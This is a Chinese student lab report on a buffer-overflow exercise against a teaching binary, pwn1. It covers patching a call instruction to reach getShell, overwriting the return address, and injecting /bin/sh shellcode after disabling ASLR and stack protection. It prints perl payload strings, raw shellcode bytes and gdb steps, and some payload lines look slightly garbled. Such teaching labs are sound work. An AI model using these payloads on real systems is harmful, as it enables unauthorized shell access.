一、实验内容
1.实验目标
本次实验的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实验的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。
三个实验内容如下:
- 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
- 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
- 注入一个自己制作的shellcode并运行这段shellcode。
2.实验要求
- 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
- 掌握反汇编与十六进制编程器
- 能正确修改机器指令改变程序执行流程
- 能正确构造payload进行bof攻击
3.基础知识
3.1NOP, JNE, JE, JMP, CMP汇编指令的机器码
(1)NOP:NOP指令即“空指令”。执行到NOP指令时,CPU什么也不做,仅仅当做一个指令执行过去并继续执行NOP后面的一条指令。(机器码:90)
(2)JNE:条件转移指令,如果不相等则跳转。(机器码:75)
(3)JE:条件转移指令,如果相等则跳转。(机器码:74)
(4)JMP:无条件转移指令。段内直接短转Jmp short(机器码:EB)段内直接近转移Jmp near(机器码:E9)段内间接转移Jmp word(机器码:FF)段间直接(远)转移Jmp far(机器码:EA)
(5)CMP:比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果。cmp指令执行后,将对标志寄存器产生影响。其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果。
3.2反汇编
(1)由已生成的机器语言(二进制语言)转化为汇编语言的过程,也可以说是汇编的逆向过程。
(2)在本次实验中,我在Linux环境下使用objdump反汇编工具对pwn20222310文件进行反汇编。
(3)反汇编指令objdump -d <文件名>。
3.3十六进制编辑器
(1)十六进制编辑器是用于编辑单个字节数据的软件应用程序,主要由程序员或系统管理员使用。Linux系统中可以使用多种十六进制编辑器,在本次实验中我主要使用xxd,xxd 是一个命令行十六进制编辑器,可以创建二进制文件的十六进制转储。
(2)%!xxd 进入十六进制编辑模式。
(3)%!xxd -r 切换回原模式。
二、实验过程
任务一:修改可执行文件机器指令,改变程序执行流程
将pwn1从主机传入kali虚拟机,并改名为pwn20222310。
从桌面打开终端,对pwn20222310进行反汇编。
objdump -d pwn20222310 | more
第一列是内存地址,第二列是机器指令,第三列为汇编语言。
主要分析getshell,foo,main部分。
观察main函数可知,call跳转到了foo函数。又根据对pwn20222310文件的运行测试发现,它只会回显用户输入的字符串。根据实验要求,我们需要修改可执行文件,改变程序执行流程,直接跳转到getShell函数。这里需要修改主函数,将call foo改为call getShell。因此,需要将call 8048491中的地址8048491修改为getShell的地址804847d。
偏移量=8048491-80484ba=-41。补码表示为0xffffffd7,与第二列机器指令中的0xd7ffffff相吻合。由此可知,要想调用getShell,偏移量为0804847d(即getShell函数的首地址)-80484ba=-61=0xffffff3c颠倒为计算机存储内容,为0xc3ffffff。也就是将0xd7ffffff修改为0xc3ffffff。
接下来利用vi修改pwn20222310文件内容。
vi pwn20222310
打开文件后为乱码,按esc。接下来输入:%!xxd
将文件转化为十六进制读取形式,输入/e8 d7
找到需要修改的位置。按i进入插入模式,进行修改。
然后输入:%!xxd -r
转回原来乱码格式,并输入:wq
保存退出。
在终端输入./pwn20222310
运行更改后的文件,顺利执行。
任务二:通过 BOF 注入攻击,改变程序执行流程
先备份一份与pwn1内容相同的文件pwn20222310_2,任务二将利用pwn20222310_2进行。
先输入sudo apt update
和sudo apt install gdb
安装gdb。
先输入gdb pwn20222310_2
调试程序
再输入r
然后输入1111111122222222333333334444444455555555
输入info r
查看寄存器eip的值,可以看到,eip中的值被修改成了 0x35353535,也就是说这时候eip里存的数据是"5555"(因为5的ASCII码是0x35),而我们输入长度已经超过了原本缓冲区的28字节,字符串的“555555555”部分溢出覆盖掉了eip的部分。
再次先输入gdb pwn20222310_2
调试程序
再输入r
然后输入1111111122222222333333334444444412345678
输入info r
查看寄存器eip的值,看到eip中的值变成了 0x34333231,也就是说里面存的字符是"4321",由此我们看到输入字符串“111111..12345678”中的“1234”覆盖掉原本堆栈中的返回地址。
结合之前反汇编的内容得知getShell的地址为804847d。
因为我们不可能直接键盘手动输入十六进制数,所以可以先生成包含这样字符串的文件,\x0a代表回车。
perl -e 'print "11111111222222223333333344444444\x7d\x84x04\x08\x0a"'> input20222310
查看input20222310中的内容xxd input20222310
(cat input20222310;cat)1 ./pwn20222310_2
将input20222310中的内容输入pwn20222310_2中,发现执行成功。
任务三:注入Shellcode,并执行
先备份一份与pwn1内容相同的文件pwn20222310_3,任务三将利用pwn20222310_3进行。
execstack -s pwn20222310_3
execstack -q pwn20222310_3
more /proc/sys/kernel/randomize_va_space
echo "0" > /proc/sys/kernel/randomize_va_space
more /proc/sys/kernel/randomize_va_space
先调整系统设置。
将shellcode生成一个可执行文件。perl -e print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00" > input_shellcode
输入(cat input_shellcode;cat) | ./pwn20222310_3
。
之后打开另一个终端,输入ps -ef | grep pwn20222310_3
查找进程号。
34729就是进程号。再gdb
打开gdb。attach 34729
调试进程,disassemble foo
设置断点,查看要注入的内存地址,break *0x080484ae
,把断点设置在080484ae。
在最开始的终端按下回车,然后在新打开的终端输入c
继续运行,输入info r esp
,查看esp地址,尝试找到shellcode的地址。
x/16x 0xffffd35c
,看见了01020304。
栈顶指针地址加四字节0xffffd35c+4=0xffffd360。于是知道了shellcode中\x4\x3\x2\x1的内容应该填什么。
perl -e 'print "A" x 32;print "\x60\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x70\xd3\xff\xff\x00"' > input_shellcode
再次注入。(cat input_shellcode;cat) | ./pwn20222310_3
这次成功运行。
三、问题及解决方案
问题1:输入./pwn20222310执行文件时,提示“zsh:permission denied:/pwn20222310”。
问题1解决方案:在终端中输入chmod +x ./pwn20222310
问题2:系统安装不了execstack。
问题2解决方案:编辑文件sources.list。sudo vim /etc/apt/sources.list
将下列信息加入到文件里。
`deb http://http.kali.org/kali kali-rolling main contrib non-free
For source package access, uncomment the following line
deb-src http://http.kali.org/kali kali-rolling main contrib non-free
deb http://http.kali.org/kali sana main non-free contrib
deb http://security.kali.org/kali-security sana/updates main contrib non-free
For source package access, uncomment the following line
deb-src http://http.kali.org/kali sana main non-free contrib
deb-src http://security.kali.org/kali-security sana/updates main contrib non-free
deb http://old.kali.org/kali moto main non-free contrib
For source package access, uncomment the following line
deb-src http://old.kali.org/kali moto main non-free contrib`
再输入apt-get update
更新,然后便可下载execstack。
四、学习感悟、思考等
本次实验是在一个从未接触的kali linux环境中进行的实验,刚开始时无从下手,连终端都不知道如何打开,几乎每进行一点都会遇到很大的困难,例如虚拟机联网失败,执行权限不足,下载资源找不到,提示看不懂等等。实验花费了我大量时间和经历,令人欣慰的是,通过此次实验,我对kali系统有了初步的认识,了解了文件的反汇编,知道了构造有效的payload是BOF攻击的核心,我学会了计算缓冲区的大小,地址的偏移,并利用这些信息覆盖返回地址。我还了解了linux系统调用的机制,成功实现了通过shellcode获得shell的过程。
总的来说,本次实验不仅提升了我的技术能力,也让我对计算机安全领域有了更深的认识。希望未来能够继续探索更复杂的攻击方法和防御技术。